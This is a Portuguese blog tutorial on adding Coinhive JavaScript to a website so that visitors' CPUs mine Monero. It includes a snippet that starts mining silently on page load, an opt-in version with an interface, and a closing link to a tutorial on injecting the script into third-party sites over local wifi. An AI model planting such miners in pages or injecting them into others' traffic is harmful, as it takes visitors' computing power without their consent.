Atualizado 08/10/2019: O site Coinhive encerrou suas atividades, portanto clique aqui e confira algumas alternativas. Você pode usar o tutorial abaixo como um guia para outras alternativas.
Resumindo: o usuário acessa o site, então um código javascript usa o poder da CPU (do processador) dos visitantes para minerar a altcoin monero (para saber mais sobre criptomoedas clique aqui e acompanhe nossa série de artigos).
Segundo a administração do site, eles estão testando essa ferramenta.. se rentável talvez retirem os anúncios do site.
Bom mas como fazer isso? O processo é bastante simples e
1- Acesse https://coinhive.com/account/signup e crie uma conta.
2- Depois de criado a conta, acesse seu email para verificar ela.
3- Depois acesse https://coinhive.com/settings/sites e copie o código que está em "Site Key (public)"
4- No seu site, cole entre a tag body o seguinte código:
<script type="text/javascript">
var miner = new CoinHive.Anonymous('SUA-KEY', { throttle: 0.9 });
miner.start();
</script>
A versão abaixo não é bloqueada, possui interface e não inicia automaticamente confira como ela fica clicando aqui:
<script async="" src="https://authedmine.com/lib/simple-ui.min.js"></script>
<div class="coinhive-miner" data-key="SUA-KEY" data-throttle="0" data-whitelabel="true" style="height: 310px; width: 256px;">
<em>Por favor desative seu Adblock e atualiza a página para iniciar seu teste!</em></div>
5- Substitua o trecho SUA-KEY pelo código que você copiou em "Site Key (public)".
6- Você pode adicionar mais parâmetros para controlar melhor, para isto visite https://coinhive.com/documentation/miner e leia a documentação.
7- Se quiser alterar o valor de 'throttle' para outro diferente de 0.9 pode, ele é o tempo ocioso, caso deixe como 0 (zero), isso significa que vai usar 100% da CPU do visitante - o que pode ser um transtorno, afinal deixará o computador dele lento, então seja educado e fique entre 0.8 e 0.9 - equivalente a 80% e 90% de ociosidade.
É possível bloquear esse tipo de mineração bloqueando o javascript dessa página com extensões como NoScript ou a url do coin-hive com qualquer adblock.
*Não é rentável se seu site/blog não tiver um número considerável de visitas por dia e o tempo em média delas em seu site/blog for muito baixo - pois o mínimo de retirada no momento em que edito este artigo é de 0.02XMR com taxa de 0.005 XMR e pagamentos acima de 0.5 não possuem taxas de retirada.
*Caso deseja aprender a injetar esse script em sites de terceiros em uma rede local, wifi por exemplo, basta conferir um outro tutorial clicando aqui.
COMENTÁRIOS